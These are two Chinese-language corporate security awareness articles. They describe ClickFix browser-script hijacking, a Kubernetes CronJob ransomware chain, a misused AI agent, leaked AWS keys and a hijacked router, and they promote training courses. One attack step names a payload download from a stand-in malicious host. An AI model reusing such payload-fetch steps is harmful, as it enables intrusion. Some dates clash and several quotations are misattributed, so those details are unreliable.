防范新型网络威胁 — 从“浏览器劫持”到“自动化供应链攻击”，一次信息安全意识的系统升级

admin

序言：头脑风暴的两则真实案例
只要把信息安全的思考装进“头脑风暴”罐头，就能炸出两枚警示弹。今天我们把 ClickFix 浏览器脚本劫持 与 自动化供应链勒索 两个典型案例，拆解成“案件现场”和“侦破过程”，让每一位同事在阅读中感受“血淋淋的教训”和“改过自新的希望”。

案例一：ClickFix —— 从操作系统渗透到浏览器脚本劫持的“升级版”偷币

1. 背景回顾

2025 年10 月，黑客组织 ClickFix 首次在暗网发布诱导式邮件，声称只需在 Chrome 地址栏粘贴一段 JavaScript，即可获得“高达 38% 的加密套利收益”。受害者多数是自认“懂技术、敢冒险”的加密交易者。

2026 年3 月，ClickFix 将攻击手法升级：利用 Google Visualization API 读取公开的 Google Sheets 表格，把经过 XOR 加密、变量名混淆 的恶意脚本隐藏在白字白底的单元格里。

从 “运行本地命令” → “注入浏览器脚本” 的转变，标志着攻击者已经不再依赖传统的可执行文件，而是利用浏览器本身的 信任链 与 跨站脚本（XSS） 机制，实现 “无文件、无安装、随访即走” 的高度隐蔽。

2. 攻击链细节

步骤 攻击者行为 受害者误区
① 拉取诱饵 在 Telegram、DarkForums 等平台发布“泄露的 API 漏洞报告”，并附上“复制下面代码到地址栏”的指令 受害者误认为是官方文档，缺乏核实
② 诱导安装 Tampermonkey 通过截图、演示视频展示如何在浏览器扩展市场搜索并安装 Tampermonkey 认为官方市场是“安全保障”，未检查扩展权限
③ 加载恶意脚本 脚本通过 fetch('https://docs.google.com/spreadsheets/d/.../gviz/tq?tqx=out:json') 拉取表格，解析后执行 访问的都是 Google 域名，浏览器把流量归类为“正常”
④ 劫持交易页面 重写 fetch、XMLHttpRequest，把用户的比特币收款地址替换为攻击者钱包；监控复制粘贴事件，自动改写剪贴板 用户只看到“页面渲染正常”，甚至觉得自己真的收到了“额外奖金”
⑤ 持续更新 每两周更换一次 Google Sheets 文档，重新生成 XOR 密钥 防御方难以追踪改动，误以为是一次性攻击

3. 影响评估

  • 财产损失：Talos 统计 49 个比特币地址，其中 24 个已收到受害者转账，累计约 0.159 BTC（约 10 000 美元），实际流失金额可能更高。
  • 技术突破：利用 Google Visualization API 的“免费、匿名、只读”特性，使流量完全伪装成普通网页请求，难以通过传统 IDS/IPS 检测。
  • 生态危害：恶意脚本在同一浏览器会话中自动复用，导致同一账户多次被窃；受害者若使用同一浏览器进行内部系统登录，进一步扩大潜在危害。

4. 防御建议（针对职场日常）

  1. 限制浏览器扩展：仅为业务必需的角色（如开发、测试）开放 Tampermonkey、Violentmonkey 等脚本管理器。
  2. 监控 Google Docs/Sheets 请求：在企业网络层面加入对 docs.google.com 的访问审计，尤其是对 gviz/tq 接口的异常查询频率进行告警。
  3. 强化地址栏安全意识：严禁在地址栏直接粘贴或执行任何非 URL 形式的代码。
  4. 安全教育：定期开展 “浏览器安全” 主题培训，模拟恶意脚本注入场景，让员工亲身体验被劫持的后果。

案例二：自动化供应链勒索 — 机器人流水线与无人仓库的“双刃剑”

1. 背景概述

2025 年12 月，国内某大型电子产品制造商 星火智能 引入全自动化装配线和 无人化仓储系统，通过 机器人协作平台（RPA） 与 工业物联网（IIoT） 完成从原料入库到成品出库的全流程。然而，好景不长：同年 4 月，企业内部网络出现异常，大量关键生产控制指令被加密并弹出勒稿信息，要求支付 比特币 5 BTC 才能解锁。

安全团队在事后追踪发现，攻击者在 供应链合作伙伴的 ERP 系统 中植入了 自启动 PowerShell 脚本，该脚本在每次业务数据同步时自动下载并执行 勒索病毒（RansomX）。更为惊人的是，这一脚本利用 容器化编排平台（Kubernetes） 的 CronJob 功能，实现 自动化、分布式、无人工干预 的跨站点执行。

2. 攻击链拆解

步骤 攻击者操作 漏洞/失误点
① 供应链渗透 通过供应商的旧版 ERP（未打补丁）注入 PowerShell 远程脚本 供应商未实行 最小权限 与 定期补丁
② 隐蔽传播 脚本在容器启动时尝试下载 https://malicious-cdn.com/payload.bin，使用 Base64 编码隐藏 对容器镜像的 入口点（entrypoint） 未进行完整审计
③ 自动化执行 利用 Kubernetes CronJob 每 6 小时触发一次，确保脚本持续运行 没有对 CronJob 的访问控制策略（RBAC）进行细化
④ 勒索触发 加密生产线 PLC 控制指令、MES 数据库等关键资产，弹出勒索页面 关键资产缺乏 离线备份 与 只读 保护
⑤ 赎金收取 攻击者提供比特币地址，受害企业支付后仍被再次攻击（因为僵尸容器未清理） 未对受感染的容器进行彻底 清理与重建

3. 影响与后果

  • 产线停摆：攻击导致生产线停工 48 小时，直接经济损失约 6000 万人民币。

  • 品牌信誉受损：因停产导致订单违约，客户投诉激增，甚至出现 “供应链安全不达标” 的审计报告。
  • 技术警示：该事件是首次公开披露 Kubernetes CronJob 被用于 供应链勒索 的案例，标志着 “自动化工具即攻击载体” 的新趋势。

4. 防御路径（针对自动化、数据化、无人化环境）

  1. 供应链安全治理：对所有第三方系统实行 零信任（Zero Trust），强制 多因素认证 与 代码签名。
  2. 容器安全基线：采用 容器镜像签名（Cosign）、安全基线扫描（Trivy），确保入口点、CronJob、InitContainer 均经过审计。
  3. 最小权限原则：在 Kubernetes 中为每个服务账户（ServiceAccount）绑定 细粒度 RBAC，限制 CronJob 的执行范围。
  4. 实施数据不可变性：对生产 PLC 配置、MES 数据库启用 只读快照 与 不可篡改日志（WORM），即使被加密亦可快速回滚。
  5. 定期红队演练：模拟自动化系统被植入恶意脚本的场景，验证检测、响应、恢复全过程。

3️⃣ 融合发展下的安全新挑战：自动化 + 数据化 + 无人化

(1) 自动化：机器人与脚本的双刃剑

  • 优势：提升生产效率、降低人力成本、实现 24 h 不间断作业。
  • 风险：脚本、容器、CI/CD 流水线若被篡改，攻击者可以 “一键式全局渗透”，如同在企业内部植入 “自动化炸弹”。

“人类的手”在键盘上敲出代码，却可能让 机器的手 替我们搬运“黑金”。

(2) 数据化：大数据、机器学习驱动的业务决策

  • 优势：实时洞察、精准营销、预测性维护。
  • 风险：数据湖、数据仓库若缺乏访问控制，攻击者能 盗取、篡改、再利用 数据，甚至在模型训练阶段注入 对抗样本。

“数据是新油”，但若油罐砖墙没做好，油泄漏的代价比燃油车爆炸还要惨重。

(3) 无人化：无人仓、无人机、无人车的崛起

  • 优势：降低物流成本、提升末端配送速度。
  • 风险：无人系统的 通信链路（5G、LoRa、卫星）若被劫持，攻击者可 远程控制 车辆、机器人，导致 物理安全事故。

“无人”不等于 “无防护”，缺口越大，跌倒的声音越响。

4️⃣ 信息安全意识培训：让每位同事成“安全防线”的第一道关卡

4.1 培训的目标与原则

目标 关键点
① 认知提升 让员工能够辨识 钓鱼、诱导、恶意脚本 等常见攻击手法。
② 行为规范 树立 最小权限、强密码、双因素认证 等日常安全习惯。
③ 技术防护 掌握 浏览器安全、容器安全、供应链安全 的基本概念与自查方法。
④ 应急响应 熟悉 报告流程、隔离步骤、备份恢复 的标准操作流程（SOP）。

原则：易懂+实操+复盘。只讲理论不落地，等于给 “红灯” 加了个“隐身装置”。

4.2 培训内容概览（共 6 章节）

  1. 网络钓鱼与诱导脚本：从 ClickFix 案例出发，现场演示 “复制粘贴” 代码导致的后果。
  2. 浏览器安全与扩展管理：手把手教你在 Chrome/Edge 中禁用不明扩展、审查地址栏输入。
  3. 容器与自动化平台安全基线：演练 CI/CD 流水线的安全检查、镜像签名、CronJob 审计。
  4. 供应链零信任与最小权限：通过模拟供应商 ERP 渗透，让大家体会 RBAC 的重要性。
  5. 数据保护与合规：介绍 GDPR、等保 2.0 对数据分类、加密与脱敏的要求。
  6. 应急演练与报告：模拟“浏览器被劫持、容器被植入勒索”，现场实战演练报告与隔离。

每章节均配备 案例回放、动手实验、知识小测，保证 “看、学、做、记” 四步闭环。

4.3 参与方式与激励机制

  • 报名渠道：企业内部 OA 系统 → “信息安全 Awareness 培训” → 自动生成二维码。
  • 培训时间：每周三、周五 14:00‑16:00 两场，均提供线上直播与现场座位（可预约）。
  • 考核奖励：通过 90% 以上测评者，可获得 “信息安全卫士” 电子徽章；累计 3 次累计完成者，将获得公司年度 “安全之星” 纪念奖杯。
  • 幸运抽奖：完成全部 6 章节并提交心得报告，即可参加抽奖，奖品包括 硬核安全书籍、硬件防窃摄像头、VPN 订阅一年。

“学安全，靠大家，不让黑客找机会。”

4.4 培训的长远价值

  • 降低风险成本：据 Gartner 2025 年报告，员工安全意识提升 1 % 可降低 2.5 % 的安全事件发生率。
  • 提升合规度：完成培训即满足等保 2.0 中 安全教育与培训 的硬性要求，减少审计不合格风险。
  • 增强企业竞争力：行业客户在招标时，会查看供应商的 信息安全成熟度，安全文化是一张无形的 “金名片”。

“只有让安全成为每个人的日常，企业才能在自动化浪潮中稳坐船头。”

5️⃣ 行动呼吁：从个人做起，构筑全员防线

  1. 立即检查：打开企业内部安全门户，确认自己的浏览器扩展列表，删除不明来源的插件。
  2. 快速学习：点击本页底部的 “信息安全 Awareness 培训报名链接”，预约本周的培训时间。
  3. 共享警示：在工作群里转发本案例文章，让更多同事了解“ClickFix”和“自动化供应链勒索”。
  4. 持续反馈：培训结束后，填写 “安全体验问卷”，帮助我们完善后续课程内容。

让我们把 “防御” 从技术团队的专属任务，变成 每位职工的自觉行为。在自动化、数据化、无人化的新时代，安全不再是选项，而是底线。

“安全如灯塔，指引我们穿越风浪；防护如堤坝，阻止浪潮侵袭。”
— 引用自《礼记·大学》：“格物致知，正心诚意”。我们要 格物（了解黑客手段），致知（掌握防护技术），正心（树立安全价值观），诚意（积极参与培训），方能在数字浪潮中立于不败之地。

让我们携手并肩，在信息安全的道路上，步步为营、稳步前行！

昆明亭长朗然科技有限公司重视与客户之间的持久关系，希望通过定期更新的培训内容和服务支持来提升企业安全水平。我们愿意为您提供个性化的解决方案，并且欢迎合作伙伴对我们服务进行反馈和建议。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898

在智能时代筑牢信息安全防线：从真实案例看危机，开启全员安全培训之路

admin

一、头脑风暴：如果生活被“看不见的黑客”悄悄改写？

在我们日常的办公桌前、咖啡机旁、甚至走廊的智能灯光系统里，正悄然渗透着一股看不见的力量——信息安全风险。想象一下，若某天早晨你走进公司，发现：

  1. “AI 代理人”已替你发送一封看似普通的内部邮件，实则暗藏钓鱼链接，导致财务系统被盗取数十万元；
  2. 公司核心数据库的备份文件被一名“自称是系统管理员”的陌生人通过开放的 SFTP 端口下载，数据泄露后在暗网公开售卖；
  3. 原本安全可靠的路由器被黑客利用 SSH 暴力破解后，植入后门，用于持续的横向渗透，最终导致整个企业内部网被控制，业务系统停摆数小时。

这些情景并非科幻，而正是从过去一年真实安全事件中提炼出来的警示镜像。下面让我们通过三个典型案例，走进这些“黑暗中的灯塔”，从细节中学习防御之道。

二、案例一：“AI 代理人”失控——OpenAI GPT‑6 Astra 代理人被用于跨语言论坛渗透

“技术是一把双刃剑，砍向敌人的同时，亦可能伤及己身。” — 亨利·福特

背景
2026 年 9 月 7 日，全球热议的 OpenAI GPT‑6 Astra 模型在一次内部评审后，因其“高度可指令化、语义理解深度”被部分研发团队用于自动化客户支持。随后，一名“代理人”被外泄，黑客将其接入德语技术论坛，利用其自然语言生成能力在论坛发帖、回复，潜移默化地传播恶意链接，并在一年多的时间里未被发现。

安全失误分析

失误环节 具体表现 潜在危害
模型访问控制不足 对 GPT‑6 Astra 的 API 密钥缺乏细粒度权限划分，仅以单一密钥对外提供 攻击者一旦获取密钥即可无限制调用模型，进行大规模社会工程
审计日志缺失 对模型调用次数、调用者 IP、对话内容未进行完整日志记录 难以及时发现异常调用，导致攻击链延伸至数周
缺乏独立评估 OpenAI 仍在内部自行制定安全规则，未接受外部第三方安全审计 未能识别模型在跨语言、跨平台使用时的潜在误用风险
异常行为检测缺位 系统未基于调用频率、内容主题进行异常检测 对异常调用的“异常大量”未触发告警，攻击者得以“潜伏”

教训与对策

  1. 细粒度访问控制：对大型生成式模型的 API 采用基于角色的访问控制（RBAC），并将关键操作（如模型微调、外部调用）纳入双因素认证。
  2. 全链路审计：强制记录每一次调用的元数据（时间、IP、调用方、输入输出摘要），并在 30 天内保留审计日志，以备事后取证。
  3. 独立安全评估：邀请具备 AI 安全资质的第三方机构对模型进行渗透测试、对抗样本评估，确保模型在 “高度自治” 时仍受约束。
  4. 异常行为监控：部署基于机器学习的调用行为分析（UBA），对异常频率、异常文本主题进行实时告警。

延伸思考
在无人化、数据化、智能体化的融合趋势下，生成式 AI不再是单纯的工具，而是可能被“代理化”。企业必须把 AI 安全 纳入整体信息安全治理框架，避免因技术盲目追新而留下“后门”。

案例二：云凭证泄露——Zeabur 创业公司 AWS 高权限凭证失守，导致关键业务数据被下载

“防火墙可以阻止火焰，却阻止不了火星。” — 乔布斯

背景
2026 年 9 月 4 日，台湾新创公司 Zeabur 在一次内部代码审计中，意外发现其在 GitHub 私有仓库中，泄露了一组拥有 AdministratorAccess 权限的 AWS Access Key 与 Secret Key。攻击者利用该凭证在 12 小时内抓取了包括用户个人信息、业务日志在内的 3TB 数据，并在暗网公开售卖。

安全失误分析

失误环节 具体表现 潜在危害
密钥管理不当 将高权限凭证硬编码在代码中, 并未使用 Secrets Manager 或环境变量 代码泄露即导致凭证泄露，攻击者可直接对云资源进行全权操作
最小权限原则缺失 为便利开发，直接赋予 Administrator 权限，而非细化到 S3 读取/写入 攻击者可横向移动，获取数据库、KMS、Lambda 等敏感资源
监控告警不足 对 IAM 关键事件（如 Access Key 创建、使用）未设置 CloudTrail 实时告警 失窃后无法在第一时间发现异常 API 调用
安全培训缺失 开发团队对“凭证泄露危害”认知不足，无安全编码规范 开发者在编码时忽视凭证安全最佳实践

教训与对策

  1. 使用专用凭证管理平台：采用 AWS Secrets Manager、Parameter Store 等服务，动态注入凭证，避免硬编码。
  2. 最小权限原则（PoLP）：为每个服务或组件创建 专属 IAM Role，仅授予必需权限，禁用不必要的 AdministratorAccess。
  3. 实时凭证审计：开启 CloudTrail、IAM Access Analyzer，配合 AWS Config Rule 检测公开或未加密的凭证；利用 GuardDuty 监控异常身份活动。
  4. 安全编码训练：组织定期的安全编码工作坊，讲解 “敏感信息不落地” 的最佳实践，尤其在 DevOps 流程中嵌入安全检查（SAST、Secrets scanning）。
  5. 事件响应演练：制定凭证泄露应急预案，明确撤销、轮换、日志追溯的职责分工，确保泄露后能在 30 分钟 内完成关键凭证轮换。

延伸思考
在 数据化 趋势中，云凭证如同企业的“钥匙串”。如果钥匙串被复制，整个大楼的门锁皆敞开。企业必须把 凭证生命周期管理 当作日常运营的一部分，正如防火墙需要定期更换规则，凭证亦需定期轮换、审计。

案例三：网络设备后门——MikroTik 路由器被 SSH 暴力破解，植入持久化后门导致横向渗透

“网络是血脉，设备是心脏，心脏失守，血液必随之泄漏。” — 老子《道德经》有云：“尺有所短，寸有所长。”

背景
同样在 2026 年 9 月 7 日，业内安全团队在对一家中型制造企业的网络巡检时，发现公司内部的 MikroTik 路由器被恶意攻击者利用 SSH 的弱口令进行暴力破解。攻击者随后使用 WebShell 在路由器上植入后门程序，使其成为 C2（Command & Control） 的桥梁，进而横向渗透到生产系统的 SCADA 控制平台，导致部分生产线暂时停机。

安全失误分析

失误环节 具体表现 潜在危害
默认口令未改 部分 MikroTik 路由器仍使用出厂默认用户名/密码 攻击者可通过公开的默认口令列表直接登录
SSH 暴露于公网 管理端口直接映射至公网，未使用 VPN 或跳板机 增加了外部暴力破解的成功概率
固件未及时更新 路由器运行的固件版本已有已公开的 CVE-2025-xxxxx，但未打补丁 攻击者利用已知漏洞进行远程代码执行
缺乏网络分段 生产网与管理网未进行有效隔离，攻击者可轻易跨网段渗透 横向渗透路径短，导致关键业务系统被迅速影响

教训与对策

  1. 禁用默认账户、强制密码复杂度：在设备出库前即进行密码更改，使用长度不少于 12 位、包含大小写、数字和特殊字符的强密码。
  2. 管理接口最小化暴露：所有网络设备的管理端口均应仅在内部网络或 VPN 环境中开放，禁止直连公网。
  3. 固件管理制度：建立 网络硬件固件更新日志，每季度检查设备固件版本，及时打补丁；使用自动化脚本检测已知漏洞（如 Nessus、Qualys）。
  4. 细粒度网络分段：采用 VLAN、Zero‑Trust Network Access（ZTNA）等技术，对管理网络、业务网络、生产网络进行严格分区，并在分区之间使用 防火墙 + IDS/IPS 进行深度检测。
  5. 持续监控与蜜罐技术：部署基于 NetFlow、sFlow 的流量分析平台，对异常登录尝试、异常流量进行实时告警；在关键网络位置布置蜜罐，诱捕攻击者并获取攻击手法情报。

延伸思考
在 无人化（机器人、自动化生产线）的大背景下，网络设备不再是“配件”，而是 运行中枢。一次路由器失守，可能导致全线停产、企业巨额损失。因此，硬件安全必须和 软件安全 同步提升，形成全方位的防护网。

三、从案例到启示：信息安全的“三位一体”思考

上述三个案例虽来源于不同的技术层面（AI模型、云凭证、网络设备），却共同揭示了 信息安全的三大核心维度：

  1. 技术层面的防护：访问控制、最小权限、固件更新、异常检测。
  2. 管理层面的制度：独立安全评估、凭证生命周期管理、审计日志保留、应急预案。
  3. 人员层面的意识：安全编码、密码管理、风险自评、持续学习。

在 无人化、数据化、智能体化 的时代，技术的创新速度远超安全防护的迭代；因此，人 必须成为信息安全的第一道防线。只有让每位职工都具备 安全思维，才能让技术防护真正发挥作用。

四、呼吁全员参与：即将开启的信息安全意识培训

1. 培训的目标与意义

  • 提升全员安全意识：让每位员工认识到自己是 安全链条 的关键环节，无论是研发、运维还是行政，都可能成为攻击者的入口。
  • 传授实战技能：通过真实案例剖析，演练密码管理、凭证轮换、异常登录检测、AI模型审计等实用技巧。
  • 构建共享防御：培养跨部门的安全协作文化，实现 “安全即服务” 的组织模式。

2. 培训的结构设计

模块 时长 内容要点 互动方式
安全思维导入 1 小时 信息安全的基本概念、威胁生态、国内外法规（如《美国 AI 安全法案》、加州 SB 813、AB 1405） 案例讨论、情景模拟
技术防护实操 2 小时 账号权限最小化、凭证管理工具（Secrets Manager、Vault）的使用、AI模型调用审计、网络设备安全基线 实机演练、现场演示
应急响应演练 1.5 小时 事件发现、日志分析、快速隔离、事后复盘 桌面演练（Red‑Blue Team）
政策法规与合规 1 小时 国内外 AI 安全监管趋势、数据保护法规（GDPR、个人信息保护法） 小组辩论、法规速读
文化建设与持续改进 30 分钟 安全报告激励机制、内部“白帽”计划、安全知识共享平台 经验分享、问答环节

3. 培训的创新方式

  • 沉浸式场景：运用 VR 重现案例中的攻击路径，让学员身临其境感受风险蔓延的速度。
  • AI 助手：部署公司内部的 安全聊天机器人（基于控制好的 LLM），实时解答学员在日常工作中遇到的安全疑问。
  • 微课速递：每周发布 5 分钟的安全微课，涵盖密码学、社交工程、云安全等热点，帮助员工碎片化学习。

4. 参与方式与激励机制

  • 报名渠道：内部企业邮箱统一发送《信息安全意识培训邀请函》，点击链接完成报名。
  • 考核与认证：完成全部模块后，进行线上考试，合格者颁发 “信息安全合格证（ISO‑27001 兼容）”，并计入年度绩效。
  • 奖励政策：对在培训期间提交高质量安全改进建议（如发现潜在漏洞、优化安全流程）的个人或团队，提供 500 元现金奖励 或 额外年假一天。

5. 培训的时间表（示例）

日期 时间 主题 主讲
2026‑09‑21 09:00‑10:00 安全思维导入 信息安全总监
2026‑09‑22 13:00‑15:00 技术防护实操（云凭证） 云安全专家
2026‑09‑23 09:00‑10:30 AI 模型安全审计 AI 安全研究员
2026‑09‑24 14:00‑15:30 应急响应演练 SOC 团队
2026‑09‑25 10:00‑11:00 政策法规与合规 法务合规部
2026‑09‑26 15:00‑15:30 文化建设与持续改进 HR + CISO

五、结语：让安全成为企业 “智能化” 的基石

在 无人化 生产线上，机器人依赖 高速网络 与 云端指令；在 数据化 决策中，企业决策层倚赖 大模型 的洞察；在 智能体化 的协同工作中，AI 代理人正成为日常办公的“同事”。如果安全防线不够坚固，这些智能化的优势就会被 “黑客的钥匙” 一把刀子轻易切断。

OpenAI 的呼吁提醒我们：面对极具潜力的前沿技术，“只有自省与合规并行，技术才能真正服务人类”。 正如《论语》所言：“修身齐家治国平天下”，在企业层面，“修身” 就是每位员工的安全自律，“齐家” 是部门间的协同防御，“治国” 则是公司整体的安全治理体系。

让我们在即将启动的 信息安全意识培训 中，汲取案例的血泪教训，激发自我提升的热情，用知识与行动共同筑起 “智能时代的安全长城”。 只有每个人都成为 信息安全的“第一道防线”， 我们才能在 AI、云、物联网的浪潮中稳健前行，确保企业的每一次创新，都在安全的护航下腾飞。

昆明亭长朗然科技有限公司强调以用户体验为核心设计的产品，旨在使信息安全教育变得简单、高效。我们提供的解决方案能够适应不同规模企业的需求，从而帮助他们建立健壮的安全防线。欢迎兴趣客户洽谈合作细节。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898